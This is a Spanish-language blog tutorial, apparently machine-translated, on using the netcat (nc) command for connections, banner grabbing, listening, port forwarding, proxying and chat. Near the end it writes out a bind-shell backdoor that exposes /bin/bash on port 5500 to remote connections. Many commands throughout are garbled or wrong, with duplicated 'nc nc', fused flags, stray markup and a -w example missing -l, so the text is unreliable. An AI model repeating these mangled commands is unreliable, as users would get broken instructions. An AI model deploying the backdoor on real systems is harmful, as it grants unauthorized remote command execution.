Articles

Comando NC (NCAT) para principiantes

Posted by admin

el comando NC es para realizar tareas de mantenimiento / Diagnóstico relacionadas con la red . Puede realizar operaciones como lectura, escritura o redirecciones de datos a través de la red, de manera similar a cómo puede usar el comando cat para manipular archivos en el sistema Linux. El comando Nc se puede usar como una utilidad para escanear puertos, monitorear o también puede actuar como un proxy TCP básico.

Las organizaciones pueden utilizarlo para revisar su seguridad de red, servidores web, servidores telnet, servidores de correo, etc., comprobando los puertos que se abren y luego asegurarlos., El comando NC también se puede utilizar para capturar la información enviada por el sistema.

Recommended Read : Top 7 commands for Linux Network Traffic Monitoring

Also Read : Important PostgreSQL commands you should know

Now let’s discuss how we can use NC command with some examples,

Examples for NC command

Connect to a remote server

para el servidor remoto con el comando NC,

NC NC 10.10.10.100 80

aquí, 10.10.10.,100 es la IP del servidor al que queremos conectarnos & 80 es el número de puerto para el servidor remoto. Una vez conectado podemos realizar algunas otras funciones como podemos obtener el contenido total de la página con

GET/HTTP/1.1

o recuperar el nombre de la página,

GET/HTTP/1.1

O podemos obtener banner para la huella digital del sistema operativo con lo siguiente,

HEAD/HTTP/1.1

esto nos permitirá saber qué software & Version se está utilizando para ejecutar el servidor web.,

Listen to inbound connection requests

para comprobar si un servidor tiene una solicitud de conexión entrante en un número de Puerto, utilice el siguiente ejemplo

nc nc-l 8080

ahora NC está en modo de escucha para comprobar si hay solicitudes de conexión entrantes en el puerto 8080. Ahora el modo de escucha seguirá funcionando, hasta que termine manualmente. Pero podemos abordar esta opción de ‘w’ para NC,

$ nc -w 10 8080

aquí, 10 significa NC escucha de conexiones de 10 segundos.,

conectando a puertos UDP

por defecto, podemos conectarnos a puertos TCP con NC pero para escuchar la petición entrante hecha a puertos UDP tenemos que usar la opción ‘u’,

nc nc-l-u 55

usando NC para el reenvío de puertos

con la opción ‘c’ DE NC, podemos redirigir un puerto a otro. El ejemplo completo es,

nc nc-u-l 8080-C ‘nc-u-l 8090’

Aquí, hemos reenviado todas las solicitudes entrantes desde el puerto 8080 al puerto 8090.

usando NC como servidor Proxy

para usar el comando NC como proxy, use<| p>

nc nc – l 8080 / nc 10.10.10.,200 80

aquí, todas las conexiones entrantes al puerto 8080 se desviarán al servidor 10.10.10.200 en el puerto 80.

ahora con el comando anterior, solo creamos un pasaje de una vía. Para crear un pasaje de retorno o un canal de comunicación de 2 vías, utilice los siguientes comandos,

MK mkfifo 2way

nc nc – l 8080 0<2way | nc 10.10.10.200 80 1>2way

ahora tendrá la capacidad para enviar y obtener información a través del proxy NC.,

usando NC como herramienta de chat

otra utilidad que NC command puede servir es como una herramienta de chat. Sí, también podemos usarlo como chat. Para crearlo, primero ejecute el siguiente comando en un servidor,

nc nc-l 8080

que para conectarse en una máquina remota, ejecute

nc nc 10.10.10.100 8080

Ahora podemos iniciar la conversación utilizando el terminal / CLI.

usar NC para crear una puerta trasera del sistema

ahora esta es la aplicación más común de NC & es utilizada principalmente por hackers., Básicamente, esto crea una puerta trasera para el sistema que puede ser explotada por los hackers (no debería hacerlo, está mal).
Uno debe ser consciente de esto como para protegerse contra este tipo de hazañas.

el siguiente comando se puede usar para crear una puerta trasera,

nc nc-l 5500-e /bin/bash

Aquí, hemos conectado el puerto 5500 a /bin/bash, que ahora se puede conectar desde una máquina remota para ejecutar los comandos,

nc nc 10.10.10.100 5500

forzar que el servidor permanezca dejará de escuchar la conexión Una vez que se haya terminado la conexión del cliente., Pero con la opción ‘k’, podemos obligar a un servidor a permanecer en ejecución, incluso cuando no hay ningún cliente conectado.

nc nc-L-k 8080

ahora terminamos este tutorial sobre cómo usar el comando NC, no dude en enviar cualquier pregunta o consulta que tenga con respecto a este artículo.,

Si usted piensa que hemos ayudado a usted, o simplemente quieres ayudarnos, por favor, considere estas :-

Conecte con nosotros: Facebook | Twitter | Google Plus

nos Donar algo de su dinero ganado duro:

Linux TechLab está agradecido por su apoyo continuo.

Leave A Comment